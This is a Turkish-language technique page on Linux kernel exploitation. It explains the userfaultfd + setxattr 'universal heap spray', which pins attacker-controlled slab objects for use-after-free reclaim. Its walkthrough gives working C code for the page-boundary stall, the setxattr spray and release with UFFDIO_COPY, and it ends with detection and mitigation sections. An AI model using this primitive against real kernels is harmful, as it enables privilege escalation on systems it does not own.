userfaultfd + setxattr race¶
Bir
setxattr()buffer'ını userfaultfd ile desteklenen bir page sınırı boyunca yay; böylece kernel attacker-controlled bir object allocate eder, sonracopy_from_useriçinde sonsuza dek bloke olur — object'i, exploit'in ihtiyacı olduğu sürece slab'da canlı tutar.
Mechanism¶
setxattr(2), kernel'deki en temiz "elastic object" allocator'larından biridir.
Handler'ı özünde şunu yapar:
kvalue = kvmalloc(size, GFP_KERNEL); /* [1] attacker controls size */
if (copy_from_user(kvalue, value, size)) /* [2] attacker controls bytes */
...
/* xattr handler runs ... */
kvfree(kvalue); /* [3] freed before syscall returns */
[1] ve [2] adımları, kontrolsüz bir header olmaksızın herhangi bir boyutta tamamen
attacker-controlled bir buffer verir — ilk byte'ların bir fake pointer olması gereken
ufak object'leri (8–16 byte) spray'lemek için mükemmel. Sorun [3] adımıdır: buffer,
setxattr dönmeden önce free edilir, dolayısıyla kendi başına bir use-after-free
reclaim boyunca kalıcı olamaz.
Note
Hile şu: value buffer'ını iki page'e yayılacak şekilde yerleştir, ikinci page'i
userfaultfd ile missing fault olarak register et. copy_from_user, ilk page'in
byte'larını kvalue'ya kopyalar, sonra ikinci page'i okurken fault verir. Kernel
thread'i fault'ta park eder — [1]'deki allocation'dan sonra, [3]'teki free'den önce.
Object artık slab'da pinlenmiş, attacker-controlled içerik tutar, ta ki userspace
fault'u UFFDIO_COPY ile çözene dek. Genel stall primitive için bkz.
userfaultfd exploitation.
Bu, Vitaly Nikolenko'nun "universal heap spray"idir: üç spray koşulunu aynı anda sağlar — kontrollü boyut, tamamen kontrollü içerik (header yok) ve kontrollü lifetime.
Walkthrough¶
İki bitişik page map'le, yalnızca ikincisini missing-fault olarak register et ve payload'u tam page sınırında bitecek şekilde yaz:
size_t ps = sysconf(_SC_PAGESIZE);
char *area = mmap(NULL, 2 * ps, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
char *page1 = area, *page2 = area + ps;
/* register page2 with userfaultfd (see uffd setup) */
struct uffdio_register reg = {
.range = { .start = (unsigned long)page2, .len = ps },
.mode = UFFDIO_REGISTER_MODE_MISSING,
};
ioctl(uffd, UFFDIO_REGISTER, ®);
/* payload of size N sits at the END of page1 and spills into page2 */
size_t N = 0x20; /* target kmalloc-32 object */
char *payload = page2 - N; /* first (N - k) bytes in page1 */
build_fake_object(payload, N); /* e.g. fake ptr at offset 0 */
Sınırı aşan buffer ile setxattr'ı ateşle. Thread allocate eder, ilk kısmı kopyalar,
sonra page2'de fault verir ve bloke olur:
/* this call does NOT return until the uffd handler runs UFFDIO_COPY */
setxattr("/tmp/target", "user.spray", payload, N, XATTR_CREATE);
Thread donmuşken, taze allocate edilmiş user.spray object'i canlı kalır. UAF /
reclaim'i artık başka bir thread'den tetikle:
/* in a sibling thread, while setxattr is parked: */
trigger_uaf_reclaim(); /* dangling pointer now overlaps the setxattr buffer */
İşin bitince, fault'u release et ki kernel temizlik yapsın:
struct uffdio_copy cp = { .dst = (unsigned long)page2,
.src = (unsigned long)src, .len = ps };
ioctl(uffd, UFFDIO_COPY, &cp); /* copy_from_user completes -> kvfree -> setxattr returns */
Beklenen: handler fault'u tutarken, spray'lenen setxattr object'i tüm pencere
boyunca allocate kalır — Nikolenko'nun writeup'ında 16 byte'lık bir DCCP UAF hedefine
(offset 0'da 8 byte'lık function pointer) ve 56 byte'lık bir IrDA object'ine karşı
doğrulanmıştır. userfaultfd stall'ı olmadan object anında free edilir ve reclaim ıskalar.
Neden yalnızca tek page register ediliyor
Yalnızca ikinci page'i register etmek, ilk copy_from_user byte'larının normal
şekilde yerleşmesini sağlar; fault tam page sınırında oluşur, böylece kernel stall
ettiğinde garanti olarak copy'nin içindedir (post-alloc).
Detection¶
Kombinasyon ayırt edicidir: unprivileged bir process'in bir userfaultfd oluşturması,
anonim bir region'ı mmap'lemesi, onu register etmesi, ardından register edilmiş bir
page sınırında tam biten bir buffer ile setxattr (ya da listxattr/add_key/msgsnd)
çağırması. userfaultfd + xattr syscall çiftlerini audit etmek bunu yakalar.
Mitigation¶
sysctl vm.unprivileged_userfaultfd=0(modern kernel'lerde varsayılan), unprivileged kullanıcılar için kernel-mode fault stall'ını kaldırır — temel etkinleştirici. uffd mevcut olmadığında saldırganlar FUSE-based exploitation'a geri döner.CONFIG_HARDENED_USERCOPY,RANDOM_KMALLOC_CACHESveSLAB_FREELIST_RANDOM, sonraki reclaim'in güvenilirliğini azaltır.